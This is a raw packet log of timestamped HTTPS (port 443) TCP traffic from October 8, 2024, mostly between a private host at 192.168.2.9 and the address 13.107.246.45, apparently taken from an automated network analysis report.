Oct 8, 2024 20:52:02.758486986 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.759016037 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.759030104 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.759048939 CEST	49715	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.759053946 CEST	443	49715	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.761169910 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761200905 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.761204958 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761234999 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.761291981 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761333942 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761696100 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761708975 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.761720896 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.761742115 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.764277935 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.764286041 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:02.764385939 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.764589071 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:02.764600039 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.453484058 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.455555916 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.460592985 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.466352940 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.505331039 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.505466938 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.507441998 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.520848989 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.531554937 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.531569004 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.531955004 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.531960011 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.532130957 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.532139063 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.532419920 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.532424927 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.533061028 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.533123016 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.533364058 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.533379078 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.533540010 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.533544064 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.533835888 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.533839941 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.628791094 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.628851891 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.628926992 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.630372047 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.630398989 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.630424976 CEST	49719	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.630438089 CEST	443	49719	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.631093025 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.631184101 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.631233931 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.632086992 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.632235050 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.632289886 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.633527040 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.633589983 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.633632898 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.646125078 CEST	49721	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.646152020 CEST	443	49721	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.671912909 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.671912909 CEST	49720	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.671952963 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.671967983 CEST	443	49720	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.686844110 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.686862946 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.686917067 CEST	49722	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.686923981 CEST	443	49722	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.749671936 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.749731064 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.749793053 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.751041889 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.751080036 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.751153946 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753372908 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753390074 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753417015 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.753429890 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.753509998 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753703117 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753716946 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.753887892 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.753910065 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.754935980 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.754950047 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.755067110 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.755297899 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:03.755310059 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:03.992564917 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.011693001 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.011728048 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.028328896 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.028350115 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.127723932 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.127788067 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.127845049 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.145142078 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.145165920 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.145175934 CEST	49718	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.145181894 CEST	443	49718	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.203326941 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.203355074 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.203428984 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.203720093 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.203736067 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.379945040 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 8, 2024 20:52:04.404403925 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.405076027 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.405103922 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.405611038 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.405621052 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.412719965 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.413439989 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.413464069 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.413739920 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.413744926 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.445509911 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.445693970 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.446000099 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.446034908 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.446520090 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.446525097 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.447248936 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.447264910 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.447489023 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.447500944 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.520572901 CEST	49676	443	192.168.2.9	23.206.229.209
Oct 8, 2024 20:52:04.520629883 CEST	49675	443	192.168.2.9	23.206.229.209
Oct 8, 2024 20:52:04.560911894 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.560976982 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.561027050 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.561233044 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.561249971 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.561263084 CEST	49724	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.561269999 CEST	443	49724	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563268900 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563321114 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563371897 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.563467026 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.563477039 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563594103 CEST	49725	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.563601017 CEST	443	49725	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563798904 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.563824892 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.563889027 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.564008951 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.564023018 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.565793037 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.565825939 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.565884113 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.566009045 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.566020966 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.567214012 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.567271948 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.567317963 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.567414999 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.567420959 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.567435026 CEST	49726	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.567439079 CEST	443	49726	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.569201946 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.569222927 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.569281101 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.569401979 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.569413900 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.588006973 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.588064909 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.588108063 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.588279963 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.588289976 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.588313103 CEST	49723	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.588318110 CEST	443	49723	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.590573072 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.590590000 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.590646982 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.590786934 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.590800047 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.833122969 CEST	49674	443	192.168.2.9	23.206.229.209
Oct 8, 2024 20:52:04.909357071 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.910410881 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.910460949 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:04.910873890 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:04.910882950 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.013508081 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.013573885 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.013631105 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.013818026 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.013834000 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.013847113 CEST	49727	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.013854027 CEST	443	49727	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.016700983 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.016726971 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.016824007 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.016993999 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.017011881 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.213992119 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.214472055 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.214483976 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.214937925 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.214942932 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.215219021 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.215451956 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.215468884 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.215796947 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.215804100 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.226700068 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.236749887 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.236761093 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.237162113 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.237165928 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.257134914 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.257765055 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.257790089 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.261486053 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.261492014 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.353039980 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.353111982 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.353178978 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.353372097 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.353394032 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.353410006 CEST	49728	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.353416920 CEST	443	49728	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.355925083 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.355932951 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.355954885 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.355981112 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356054068 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.356148005 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.356161118 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356163979 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.356189013 CEST	49730	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.356194973 CEST	443	49730	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356209040 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.356218100 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356852055 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356908083 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.356952906 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.357053995 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.357053995 CEST	49729	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.357062101 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.357069016 CEST	443	49729	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.358573914 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.358582020 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.358652115 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.358880997 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.358911991 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.358972073 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.359030008 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.359039068 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.359101057 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.359117031 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.361932993 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.362092972 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.362155914 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.362184048 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.362194061 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.362204075 CEST	49731	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.362209082 CEST	443	49731	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.364159107 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.364198923 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.364294052 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.364411116 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.364423990 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.655672073 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.656160116 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.656183004 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.656640053 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.656645060 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.723723888 CEST	49673	443	192.168.2.9	204.79.197.203
Oct 8, 2024 20:52:05.758924961 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.758999109 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.759061098 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.759263992 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.759284973 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.759295940 CEST	49732	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.759303093 CEST	443	49732	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.762192965 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.762238026 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:05.762326002 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.762509108 CEST	49737	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:05.762526989 CEST	443	49737	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.019287109 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.023627996 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.023649931 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.024785042 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.033715010 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.033720016 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.034442902 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.034450054 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.034468889 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.034472942 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.038053989 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.038398981 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.038413048 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.038825989 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.038830996 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.040512085 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.040765047 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.040793896 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.041145086 CEST	49735	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.041151047 CEST	443	49735	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.132019997 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.132087946 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.132138968 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.132330894 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.132349968 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.132477045 CEST	49734	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.132484913 CEST	443	49734	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.135211945 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.135262012 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.135327101 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.135469913 CEST	49738	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.135488987 CEST	443	49738	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.142340899 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.142416954 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.142507076 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.142628908 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.142637014 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.142777920 CEST	49733	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.142786026 CEST	443	49733	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.145337105 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.145390987 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.145472050 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.145626068 CEST	49739	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.145642042 CEST	443	49739	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.148740053 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.148874998 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.148938894 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.149019957 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.149030924 CEST	443	49736	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:06.149070978 CEST	49736	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:06.149076939 CEST	443	49736	13.107.246.45	192.168.2.9
